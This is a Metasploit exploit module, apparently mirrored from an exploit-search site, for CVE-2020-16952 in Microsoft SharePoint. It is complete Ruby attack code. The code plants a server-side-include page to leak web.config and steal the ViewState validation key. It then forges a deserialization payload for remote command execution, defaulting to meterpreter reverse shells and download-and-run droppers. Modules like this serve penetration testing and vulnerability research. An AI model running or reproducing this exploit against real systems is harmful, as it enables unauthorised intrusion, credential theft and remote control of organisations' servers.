Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT/WINDOWS/HTTP/SHAREPOINT_SSI_VIEWSTATE/
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::ViewState
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft SharePoint Server-Side Include and ViewState RCE',
        'Description' => %q{
          This module exploits a server-side include (SSI) in SharePoint to leak
          the web.config file and forge a malicious ViewState with the extracted
          validation key.

          This exploit is authenticated and requires a user with page creation
          privileges, which is a standard permission in SharePoint.

          The web.config file will be stored in loot once retrieved, and the
          VALIDATION_KEY option can be set to short-circuit the SSI and trigger
          the ViewState deserialization.

          Tested against SharePoint 2019 on Windows Server 2016.
        },
        'Author' => [
          'mr_me', # Discovery and exploit
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-16952'],
          ['URL', 'https://srcincite.io/advisories/src-2020-0022/'],
          ['URL', 'https://srcincite.io/pocs/cve-2020-16952.py.txt'],
          ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952']
        ],
        'DisclosureDate' => '2020-10-13', # Public disclosure
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Windows Command',
            'Arch' => ARCH_CMD,
            'Type' => :win_cmd,
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
            }
          ],
          [
            'Windows Dropper',
            'Arch' => [ARCH_X86, ARCH_X64],
            'Type' => :win_dropper,
            'CmdStagerFlavor' => %i[psh_invokewebrequest certutil vbs],
            'DefaultOptions' => {
              'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
              'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
            }
          ],
          [
            'PowerShell Stager',
            'Arch' => [ARCH_X86, ARCH_X64],
            'Type' => :psh_stager,
            'DefaultOptions' => {
              'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
            }
          ]
        ],
        'DefaultTarget' => 2,
        'DefaultOptions' => {
          'DotNetGadgetChain' => :TypeConfuseDelegate
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [UNRELIABLE_SESSION], # SSI may fail the second time
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']),
      OptString.new('COOKIE', [false, 'SharePoint cookie if you have one']),
      # "Promote" these advanced options so we don't have to pass around our own
      OptString.new('HttpUsername', [false, 'SharePoint username']),
      OptString.new('HttpPassword', [false, 'SharePoint password'])
    ])
  end

  def post_auth?
    true
  end

  def username
    datastore['HttpUsername']
  end

  def password
    datastore['HttpPassword']
  end

  def cookie
    datastore['COOKIE']
  end

  def vuln_builds
    # https://docs.microsoft.com/en-us/officeupdates/sharepoint-updates
    # https://buildnumbers.wordpress.com/sharepoint/
    [
      [Gem::Version.new('15.0.0.4571'), Gem::Version.new('15.0.0.5275')], # SharePoint 2013
      [Gem::Version.new('16.0.0.4351'), Gem::Version.new('16.0.0.5056')], # SharePoint 2016
      [Gem::Version.new('16.0.0.10337'), Gem::Version.new('16.0.0.10366')] # SharePoint 2019
    ]
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'cookie' => cookie
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    # Hat tip @tsellers-r7
    #
    # MicrosoftSharePointTeamServices: 16.0.0.10337: 1; RequireReadOnly
    unless /^(?<build>[\d.]+):/ =~ res.headers['MicrosoftSharePointTeamServices']
      return CheckCode::Unknown('Target does not appear to be running SharePoint.')
    end

    if vuln_builds.any? { |build_range| Gem::Version.new(build).between?(*build_range) }
      return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")
    end

    CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")
  end

  def exploit
    unless username && password
      fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword are required for exploitation')
    end

    if (@validation_key = datastore['VALIDATION_KEY'])
      print_status("Using ViewState validation key #{@validation_key}")
    else
      create_ssi_page
      leak_web_config
    end

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    when :psh_stager
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    end
  end

  def create_ssi_page
    print_status("Creating page for SSI: #{ssi_path}")

    res = send_request_cgi(
      'method' => 'PUT',
      'uri' => ssi_path,
      'cookie' => cookie,
      'data' => ssi_page
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    unless [200, 201].include?(res.code)
      if res.code == 401
        fail_with(Failure::NoAccess, "Failed to auth with creds #{username}:#{password}")
      end

      fail_with(Failure::NotFound, 'Failed to create page')
    end

    print_good('Successfully created page')
    @page_created = true
  end

  def leak_web_config
    print_status('Leaking web.config')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => ssi_path,
      'cookie' => cookie,
      'headers' => {
        ssi_header => '<form runat="server" /><!--#include virtual="/web.config"-->'
      }
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    unless res.code == 200
      fail_with(Failure::NotFound, "Failed to retrieve #{ssi_path}")
    end

    unless (web_config = res.get_xml_document.at('//configuration'))
      fail_with(Failure::NotFound, 'Failed to extract web.config from response')
    end

    print_good("Saved web.config to #{store_loot('web.config', 'text/xml', rhost, web_config.to_xml, 'web.config', name)}")

    unless (@validation_key = extract_viewstate_validation_key(web_config))
      fail_with(Failure::NotFound, 'Failed to extract ViewState validation key')
    end

    print_good("ViewState validation key: #{@validation_key}")
  ensure
    delete_ssi_page if @page_created
  end

  def delete_ssi_page
    print_status("Deleting #{ssi_path}")

    res = send_request_cgi(
      'method' => 'DELETE',
      'uri' => ssi_path,
      'cookie' => cookie,
      'partial' => true
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    unless res.code == 204
      print_warning('Failed to delete page')
      return
    end

    print_good('Successfully deleted page')
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/_layouts/15/zoombldr.aspx'),
      'cookie' => cookie,
      'vars_post' => {
        '__VIEWSTATE' => generate_viewstate_payload(
          cmd,
          extra: pack_viewstate_generator('63E6434F'), # /_layouts/15/zoombldr.aspx
          algo: 'sha256',
          key: pack_viewstate_validation_key(@validation_key)
        )
      }
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    unless res.code == 200
      fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
    end

    vprint_good('Successfully executed command')
  end

  def ssi_page
    <<~XML
      <WebPartPages:DataFormWebPart runat="server">
      <ParameterBindings>
        <ParameterBinding Name="#{ssi_param}" Location="ServerVariable(HTTP_#{ssi_header})" DefaultValue="" />
      </ParameterBindings>
        <xsl>
          <xsl:stylesheet xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
            <xsl:param name="#{ssi_param}" />
            <xsl:template match="/">
              <xsl:value-of select="$#{ssi_param}" disable-output-escaping="yes" />
            </xsl:template>
          </xsl:stylesheet>
        </xsl>
      </WebPartPages:DataFormWebPart>
    XML
  end

  def ssi_path
    @ssi_path ||= normalize_uri(target_uri.path, "#{rand_text_alphanumeric(8..42)}.aspx")
  end

  def ssi_header
    @ssi_header ||= rand_text_alphanumeric(8..42)
  end

  def ssi_param
    @ssi_param ||= rand_text_alphanumeric(8..42)
  end

end